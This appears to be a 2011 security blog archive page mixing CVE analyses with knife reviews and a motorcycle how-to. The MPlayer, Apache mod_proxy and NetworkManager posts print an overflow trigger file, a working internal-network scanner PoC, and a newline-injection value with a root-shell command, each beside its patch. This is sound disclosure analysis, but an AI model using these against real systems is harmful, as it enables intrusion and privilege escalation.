xorl %eax, %eax

Admin Mistakes: Solaris killall

with 5 comments

So, with this post I’m introducing another new category named mistakes where I’ll be posting some mistakes I have done that will hopefully help other sysadmins avoid them.

Background
It is late afternoon and you have about 15 SSH sessions open on various servers. The operating systems range from Linux, AIX, Solaris and a couple BSD derivatives. While doing some benchmark you realize that the benchmark application is probably stuck on some infinite loop and it is eating up all system’s memory (which was not expected). So, you try to kill it…

killall bench_application

Since this was not a production system we didn’t really care and as we all know ‘kill’ could take some time to terminate the application depending on the application’s signal handler. So, after calling ‘kill’ you go back to some other urgent tasks you were doing on the other servers.
Then you start getting alert emails for the memory usage on this server, so you open up the SSH session and you accidentally type…

killall

Instead of:

killall -s KILL bench_application

But then you realize that you’re on a Solaris server (not on the Linux you thought you were)! And more specifically, on a development server where software developers have shell access for testing and building.

Problem
On Solaris, ‘killall’ is used to terminate all active processes. Meaning that all users got disconnected and any running building process was terminated.

Mistake
So, of course the mistake was that I was not paying the appropriate attention on the SSH sessions I had open.

Resolution
Just think at least twice before you hit that return key. :P

Written by xorl

October 19, 2011 at 09:27

MPlayer SAMI Subtitles Parser Buffer Overflow

leave a comment »

This was discovered and reported by Jacques Louw of MWR InfoSecurity and it affects the following software.
– MPlayer SVN before 33471
– SMPlayer 0.6.9 and older
You can read the official security advisory released for this issue here. Moving to the vulnerable code, we can find it in sub/subreader.c source code file in the C function you see below.

static subtitle *sub_read_line_sami(stream_t* st, subtitle *current, int utf16) {
    static char line[LINE_LEN+1];
    static char *s = NULL, *slacktime_s;
    char text[LINE_LEN+1], *p=NULL, *q;
    int state;

    current->lines = current->start = current->end = 0;
    current->alignment = SUB_ALIGNMENT_BOTTOMCENTER;
    state = 0;

    /* read the first line */
    if (!s)
            if (!(s = stream_read_line(st, line, LINE_LEN, utf16))) return 0;

    do {
        switch (state) {
  ...
        case 3: /* get all text until '<' appears */
            if (*s == '\0') break;
            else if (!strncasecmp (s, "<br>", 4)) {
                sami_add_line(current, text, &p);
                s += 4;
            }
            else if ((*s == '{') && !sub_no_text_pp) { state = 5; ++s; continue; }
            else if (*s == '<') { state = 4; }
            else if (!strncasecmp (s, "&nbsp;", 6)) { *p++ = ' '; s += 6; }
            else if (*s == '\t') { *p++ = ' '; s++; }
            else if (*s == '\r' || *s == '\n') { s++; }
            else *p++ = *s++;

            /* skip duplicated space */
            if (p > text + 2) if (*(p-1) == ' ' && *(p-2) == ' ') p--;

            continue;
  ...
    return current;
}

So, basically it will continue appending data to ‘p’ regardless of its size. From the security advisory you can also find the “malicious.smi” file that could be used to trigger this vulnerability. It is the following.

<SAMI>
<BODY>
<SYNC Start=100550>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</SAMI>

At last, the patch to fix this vulnerability is the following.

 	case 3: /* get all text until '<' appears */
+	    if (p - text >= LINE_LEN)
+	        sami_add_line(current, text, &p);
 	    if (*s == '\0') break;

As you can see, it checks the line’s length and if there is no space left, it will add a new line by calling sami_add_line() routine.

Written by xorl

October 19, 2011 at 09:04

Posted in vulnerabilities

CVE-2011-3368: Apache mod_proxy Reverse Proxy Security Bypass

leave a comment »

This was a very nice design flaw in Apache module disclosed by Michael Jordon and David Robinson of Context Information Security Ltd. and it affects the following versions of Apache HTTP Server.
– 1.3.x – 1.3.42
– 2.0.x – 2.0.64
– 2.2.x – 2.2.21
Due to this design flaw attackers were able to access hosts inside the Apache HTTP server’s network on mis-configured Apache web servers. You can read the complete analysis of the attack vector here.
You can also see the Apache HTTP server’s official security advisory here.

The fix to this issue was to add some code in src/server/protocol.c file to handle any CONNECT requests (as defined in RFC 2616) properly to avoid this vulnerability. The patch is shown below and it is very straightforward.

     ap_parse_uri(r, uri);
 
+    /* RFC 2616:
+     *   Request-URI    = "*" | absoluteURI | abs_path | authority
+     *
+     * authority is a special case for CONNECT.  If the request is not
+     * using CONNECT, and the parsed URI does not have scheme, and
+     * it does not begin with '/', and it is not '*', then, fail
+     * and give a 400 response. */
+    if (r->method_number != M_CONNECT 
+        && !r->parsed_uri.scheme 
+        && uri[0] != '/'
+        && !(uri[0] == '*' && uri[1] == '\0')) {
+        ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r,
+                      "invalid request-URI %s", uri);
+        r->args = NULL;
+        r->hostname = NULL;
+        r->status = HTTP_BAD_REQUEST;
+        r->uri = apr_pstrdup(r->pool, uri);
+    }
+
     if (ll[0]) {
         r->assbackwards = 0;
         pro = ll;

Now, recently Rodrigo Marcos of SecForce released a proof-of-concept Python code, the “Apache Proxy Scanner” which can be used to scan for internal hosts using the CVE-2011-3368 vulnerability. It’s a simple script but let’s have a closer look…

def usage():
	print
	print "CVE-2011-3368 proof of concept by Rodrigo Marcos"
	print "http://www.secforce.co.uk"
	print
	print "usage():"
	print "python apache_scan.py [options]"
	print
	print " [options]"
	print "		-r: Remote Apache host"
	print "		-p: Remote Apache port (default is 80)"
	print "		-u: URL on the remote web server (default is /)"
	print "		-d: Host in the DMZ (default is 127.0.0.1)"
	print "		-e: Port in the DMZ (enables 'single port scan')"
	print "		-g: GET request to the host in the DMZ (default is /)"
	print "		-h: Help page"
	print
	print "examples:"
	print " - Port scan of the remote host"
	print "		python apache_scan.py -r www.example.com -u /images/test.gif"
	print " - Port scan of a host in the DMZ"
	print "		python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local"
	print " - Retrieve a resource from a host in the DMZ"
	print "		python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local -e 80 -g /accounts/index.html"
	print

After this introduction to this tool, we can now move to the actual code…

def main():

	global apache_target
	global apache_port
	global url
	global internal_target
	global internal_port
	global resource

	try:
		opts, args = getopt.getopt(sys.argv[1:], "u:r:p:d:e:g:h", ["help"])
	except getopt.GetoptError:
		usage()
		sys.exit(2)

	try:
		for o, a in opts:
			if o in ("-h", "--help"):
				usage()
				sys.exit(2)
			if o == "-u":
				url=a
			if o == "-r":
				apache_target=a
			if o == "-p":
				apache_port=a
			if o == "-d":
				internal_target = a
			if o == "-e":
				internal_port=a
			if o == "-g":
				resource=a				
		
	except getopt.GetoptError:
		usage()
		sys.exit(2)
		
	if apache_target == "":
		usage()
		sys.exit(2)

This is nothing more than a simple arguments parsing code snippet which continues like this:

known_ports = [0,21,22,23,25,53,69,80,110,137,139,443,445,3306,3389,5432,5900,8080]
   ...
url = "/"
apache_target = ""
apache_port = "80"
internal_target = "127.0.0.1"
internal_port = ""
resource = "/"

main()

if internal_port!="":
	tested_ports = [internal_port]
else:
	tested_ports = known_ports

scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource)

So, if everything is fine it will invoke scan_host() after initializing ‘tested_ports’ array with the ports to scan. Here is the code of this routine:

def get_banner(result):
	return result[string.find(result, "\r\n\r\n")+4:]


def scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource):

	print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource)
	for port in tested_ports:
		port = str(port)
		result = send_request(url, apache_target, apache_port, internal_target, port, resource)
		if string.find(result,"HTTP/1.1 200")!=-1 or \
		string.find(result,"HTTP/1.1 30")!=-1 or \
		string.find(result,"HTTP/1.1 502")!=-1:
			print "- Open port: " + port + "/TCP"
			print get_banner(result)
		elif len(result)==0:
	 		print "- Filtered port: " + port + "/TCP"
		else:
	 		print "- Closed port: " + port + "/TCP"

First of all it calls print_banner() to provide the user with some general information as you can see here:

def print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource):
	print
	print "CVE-2011-3368 proof of concept by Rodrigo Marcos"
	print "http://www.secforce.co.uk"
	print
	print " [+] Target: " + apache_target
	print " [+] Target port: " + apache_port
	print " [+] Internal host: " + internal_target
	print " [+] Tested ports: " + str(tested_ports)
	print " [+] Internal resource: " + resource
	print

Then it enters a ‘for’ loop for the requested ports and simply calls send_request() and parses the result to identify if the requested port is open, filtered or closed based on the HTTP response. Moving to the send_request()…

def send_request(url, apache_target, apache_port, internal_target, internal_port, resource):

	get = "GET " + url + "@" + internal_target + ":" + internal_port +  "/" + resource + " HTTP/1.1\r\n"
	get = get + "Host: " + apache_target + "\r\n\r\n"
	
	remoteserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	remoteserver.settimeout(3)

	try:
		remoteserver.connect((apache_target, int(apache_port)))
		remoteserver.send(get)
		return remoteserver.recv(4096)
	except:
		return ""

As you can see, it uses a URL that would bypass mis-configured Apache web servers using mod_proxy as shown above in the vulnerability description. For more information on this tool you can refer to the official blog post.

Written by xorl

October 18, 2011 at 09:14

Posted in vulnerabilities

Knife: Victorinox Hunter (Red)

leave a comment »

This was a present from a friend while I was doing my military service in 2010. Although I haven’t used it extensively it’s a high quality, excellent pocket knife.



————————————————
Model: Hunter
Manufacturer: Victorinox
Country Manufactured: Switzerland
Type: Pocket Knife
Price: €30-45
Blade Length: 8cm (3.1 inches)
Total Length (open): 19cm (7.5 inches)
Total Length (closed): 11cm (4.3 inches)
Blade Material: Switzerland Stainless Rostfrei
Handle Material: Nylon
Lock: Sliding Locking System
Weight: 102g (0.22 lbs)
————————————————

This is a Victorinox pocket knife with lifetime warranty designed specifically for hunters. Instead of writing a generic review I will discuss each tool that this pocket includes separately. Here is the knife…



Now let’s move to the tools’ list.

– Cap lifter
Like almost all pocket knifes it has a cap opener which has nothing really important to discuss.
– Can Opener
The same tool (cap lifter) can also be used as a can opener.
– Screwdriver
Once again, the same tool can be used as a flat-head screwdriver.
– Wire stripper
The same tool has a small notch on its bottom which can be used as a wire stripper.
– Reamer
This is on the other side of the knife. It can be used as a reamer/punch
– Corkscrew
Also something common among pocket knives.
– Wood Saw
Moving back to the front of the knife we have one of the most impressive tools this knife has. It’s an extremely large wood saw. This saw has length of 9cm (3.5 inches) making it really useful compared to the small wood saw that most pocket knives have.
– Key Ring
It’s always a good idea to have a key ring on any kind of utility knife. This one has the standard Victorinox inox key ring.
– Toothpick
Despite what many people think, toothpick is a tool that can be used in numerous applications except the obvious one.
– Tweezers
Once again, a handy tool that all of us have needed from time to time.
– Blade
The interesting thing about its blade apart from the high quality, is that it comes really sharp which is not something common for most pocket knives.
– Gutting Blade
This is a rare feature among pocket knives. If you are a hunter then you probably already know the importance of this tool. This blade is designed specifically for field dressing. There are only two Victorinox models offering this gutting blade, the “Hunter” and the “Workchamp XL”. You will be amazed of how sharp this blade is.


Okay, apart from these, the blade also has a very straightforward and reliable sliding locking mechanism that you can control from the other side of the knife you see below.



Regarding its availability, currently this is produced only in two different colors. The Victorinox classic red like mine and also in olive-green. However, if you’re collecting knives you might be interested into finding the camo one which was produced in 2009. So, to conclude. If you’re a hunter or you are involved in outdoors activities such as camping and hiking you will almost certainly find this pocket knife very handy. It has great quality but it’s not ideal for everyday use since it’s not small enough to be easily carried in your pocket.

Written by xorl

October 16, 2011 at 15:32

Posted in knives

CVE-2011-3364: GNOME NetworkManager Local Privilege Escalation

leave a comment »

This is was a nice design flaw that could lead to local privilege escalation. However this is not such a high impact issue since it requires unprivileged local users having access to create new network connections in PolicyKit which is disabled by default.
As we can see here, this was reported by Matt McCutchen and we can find the buggy code in src/settings/plugins/ifcfg-rh/shvar.c source code file which is shown below.

/* create a new string with all necessary characters escaped.
 * caller must free returned string
 */
static const char escapees[] = "\"'\\$~`";              /* must be escaped */
static const char spaces[] = " \t|&;()<>";              /* only require "" */
char *
svEscape(const char *s) {
    char *new;
    int i, j, mangle = 0, space = 0;
    int newlen, slen;
    static int esclen, splen;

    if (!esclen) esclen = strlen(escapees);
    if (!splen) splen = strlen(spaces);
    slen = strlen(s);

    for (i = 0; i < slen; i++) {
        if (strchr(escapees, s[i])) mangle++;
        if (strchr(spaces, s[i])) space++;
    }
    if (!mangle && !space) return strdup(s);

    newlen = slen + mangle + 3; /* 3 is extra ""\0 */
    new = g_malloc0(newlen);
    if (!new) return NULL;

    j = 0;
    new[j++] = '"';
    for (i = 0; i < slen; i++) {
        if (strchr(escapees, s[i])) {
            new[j++] = '\\';
        }
        new[j++] = s[i];
    }
    new[j++] = '"';
    g_assert(j == slen + mangle + 2); /* j is the index of the '\0' */

    return new;
}

The above C routine is used to escape some characters. So, although it does check for some characters, more specifically the following:

- "
- '
- \
- $
- ~
- `
- \t
- |
- &
- ;
- (
- )
- <
- >

It does not check for new line character at all. Because of this, as Matt McCutchen mentioned, a user could create a new wired connection with a name of for example “name” and then rename it to something similar to:

'test\nUSERCTL=true\n/bin/bash'

Where newline entered via Ctrl-Shift-U, A (as we can read here). Now, if the following command is executed, it will spawn a root shell.

usernetctl test up

To fix this, another array was added in the shvar.c file which contains the newline sequence of characters.

 static const char escapees[] = "\"'\\$~`";		/* must be escaped */
 static const char spaces[] = " \t|&;()<>";		/* only require "" */
+static const char newlines[] = "\n\r";			/* only require "" */

Next, a new variable to count the newlines was added in svEscape() routine as you can see here:

 char *
 svEscape(const char *s) {
     char *new;
-    int i, j, mangle = 0, space = 0;
+    int i, j, mangle = 0, space = 0, newline = 0;
     int newlen, slen;
     static int esclen, splen;

And finally, the additional newlines checks were placed in the aforementioned function.

     for (i = 0; i < slen; i++) {
 	if (strchr(escapees, s[i])) mangle++;
 	if (strchr(spaces, s[i])) space++;
+	if (strchr(newlines, s[i])) newline++;
     }
-    if (!mangle && !space) return strdup(s);
+    if (!mangle && !space && !newline) return strdup(s);
 
-    newlen = slen + mangle + 3;	/* 3 is extra ""\0 */
+    newlen = slen + mangle - newline + 3;	/* 3 is extra ""\0 */
     new = g_malloc0(newlen);
     if (!new) return NULL;
 
     j = 0;
     new[j++] = '"';
     for (i = 0; i < slen; i++) {
+	if (strchr(newlines, s[i]))
+	    continue;
 	if (strchr(escapees, s[i])) {
 	    new[j++] = '\\';
 	}
 	new[j++] = s[i];
     }
     new[j++] = '"';
-    g_assert(j == slen + mangle + 2); /* j is the index of the '\0' */
+    g_assert(j == slen + mangle - newline + 2); /* j is the index of the '\0' */

Written by xorl

October 9, 2011 at 13:36

Posted in vulnerabilities

How-to: Install Side-Mount License Plate on a Harley-Davidson Sportster

with 21 comments

The people who follow me on twitter already know that I got this part a couple of weeks ago but unfortunately, it took me more than two weeks to find some free time to install it. Anyway, let’s start…

Everything discussed in this post is about Harley-Davidson Sportster XL motorcycles but the same steps with a slight difference on the mounting bracket can also be applied on Dyna models. Something that some of you might not know is that all these models ship with side-mount license plate only in USA but even in USA the side mount is just a piece of plastic, nothing special.

—————————————————-
Example bike: 2011 Harley-Davidson XL833N
Applies to: All 2004-later Harley-Davidson Sportster and Dyna
Cost: 200-500€
Time: 1-2 hours
Level: Intermediate
Parts: (1) side-mount license plate kit, (2) appropriate sized license plate, (3) additional frame rail nuts (optional)
Tools: (1) Standard Phillips screwdriver, (2) Torx wrenches, (3) Allen wrenches, (4) Socket wrenches, (5) Torque wrench (optional)
—————————————————-

This post will be divided in two parts, one for how to remove the existing mounting bracket and a second part for the installation of the Harley-Davidson side-mount license plate kit (part number 60972-10).

Warning: Changing the license plate location and license plate’s size might be illegal in some countries. Please check your local laws before proceeding to any of these.

Removing the Stock License Plate Bracket
So, in Greece Sportster models ship with a rear license plate bracket with light that you see in the following photograph with the license plate being removed.



This is bolted with a Phillips screw you see on top of the rear fender and the two frame rail nuts on each side of the bike. First locate the two side frame rail nuts. Here is a photo highlighting the nut I’m talking about.



To remove this use a T40 Torx wrench along with a 13mm socket wrench from the inside of the fender. Proceed following the same steps for the other side of the bike. Next, remove the seat screw which is highlighted in the picture below.



After removing the seat you will see all the cables of the rear lights. In case you have the newer LED rear turn signals then you’ll almost certainly have something similar to the following…



Here the two grey cables are the turn signal lights and the black one is from the license plate bracket’s light. Consequently, disconnect the black one and have a look underneath the rear fender now. You will see that the cable is guided through some plastic clips. For better understanding here is a picture highlighting the those clips.



Carefully remove the cable leading to the license plate light and at last, remove the second Phillips screw from the top of the fender and this will release the existing license plate mounting bracket. Here is this bracket when removed.



And this is pretty much how to remove the stock bracket. There is a possibility that a metal plate will fall off when you remove the last top screw, in case this happens do not forget to put it back when finished since this is used to reinforce the rear fender. We can now move on to the next section which is how to install the side-mount license plate kit.

Installing Side-Mount License Plate Kit
Before moving on with the installation, here is the installation instructions shipped with the kit.



Okay, now take the license plate mount you see here.



And take the kit provided LED light and screw it using a Torx T20 wrench.



Follow the same steps to install the license plate frame using the two Torx T25 flat-head screws…




Next, go to the right side of the bike where the license plate bracket will be installed and remove the two frame rail bolts using a Torx T40 and a 13mm socket wrench. Use the same 13mm socket wrench to also remove the turn signal’s bolt. Disconnect it and carefully remove the frame rail cover. Here is a photograph of the frame rail after removing the turn signal light along with the frame rail cover.



And here is the frame rail cover with the attached turn signal light…



From the service manual you’re advised to discard the original screw from the turn signal light and replace it with the new one which is included in the kit. So, simply remove the old and replace it with the new one…



Now take the mounting bracket you see below and place it between the frame rail and the rear fender.



Bolt the frame rail cover along with the turn signal light using the stock bolts for the rear screw and the turn signal. For the third screw use the longer one provided in the kit.



As you can see I haven’t bolted the rear nut. In case your previous license mounting bracket was similar to mine (see above) the last frame rail screws did not use any nut from the inside of the fender. So, if you have a similar mounting kit, then buy a couple nuts for these screws before proceeding with the installation…



Next, bolt the license plate mount to the mounting bracket using the two smaller top Torx pan-head screws. To do this use a T15 Torx wrench. This is also a good time to route the new license plate’s light cable through the plastic clips and plug it to the connector where the previous one was.



If your previous license plate mount did not have a light you can use the kit provided wire harness to get a connector for the newly installed light.



And connect everything, test them and then put back the seat.



You can now screw the three button-head screws along with their washers using a No.10 Allen wrench. In case you happen to have a torque wrench you are advised to torque them to 8-10 ft-lbs (10.8-13.5 Nm).



Finally, we have to install the new license plate which should have specific size. Its size has to be 7″ x 4″ (178mm x 102mm). To have as clean look as possible, I decided to use the kit provided 3M stickers you see below.



To install the frame cover locate the two small holes underneath it. Here is a highlighted photograph of one of those holes…




And use the two small Allen set screws to install it…



Here is the end result from the inside of the fender:



Finally, as in most of my how-to posts, here are two photographs before and after the installation of the side-mount license plate kit.


Written by xorl

October 9, 2011 at 13:25

Posted in motorcycles & cars

Knife: Debays & Ebaysz DZ-322

with 4 comments

Okay, this is a truly old one. Something like 10 years ago I bought 8 or 10 of these DZ-322 knives for practicing knife throwing. Now I am only able to find one of them at home and it is still in perfect condition. Anyway, here is a photograph of the knife and its nylon holster…



————————————————
Model: DZ-322
Manufacturer: Debays & Ebaysz
Country Manufactured: Guangdong, China
Type: Throwing Knife
Price: €5-10
Blade Length: 8cm (3.1 inches)
Total Length (open): 16cm (6.3 inches)
Total Length (closed): N/A
Blade Material: Stainless Steel
Handle Material: Stainless Steel
Lock: N/A
Weight: 48g (0.11lbs)
————————————————

First of all, I can ensure you that this is a very good knife for knife throwing. It’s lightweight and very easy to handle. It’s small so you can easily carry many of them and it has good hardness of 56HRC which is crucial for knives designed for this purpose. In the rear of the handle you can also see the lanyard hole but I don’t think that this is particularly important for a throwing knife.
Also, it is a very cheap knife which is very good for this kind of knives that you know there is a big possibility it will get damaged or lost.

Anyway, I’m very happy that this knife is still produced so I can buy a few more in the future. :)

Written by xorl

October 8, 2011 at 12:57

Posted in knives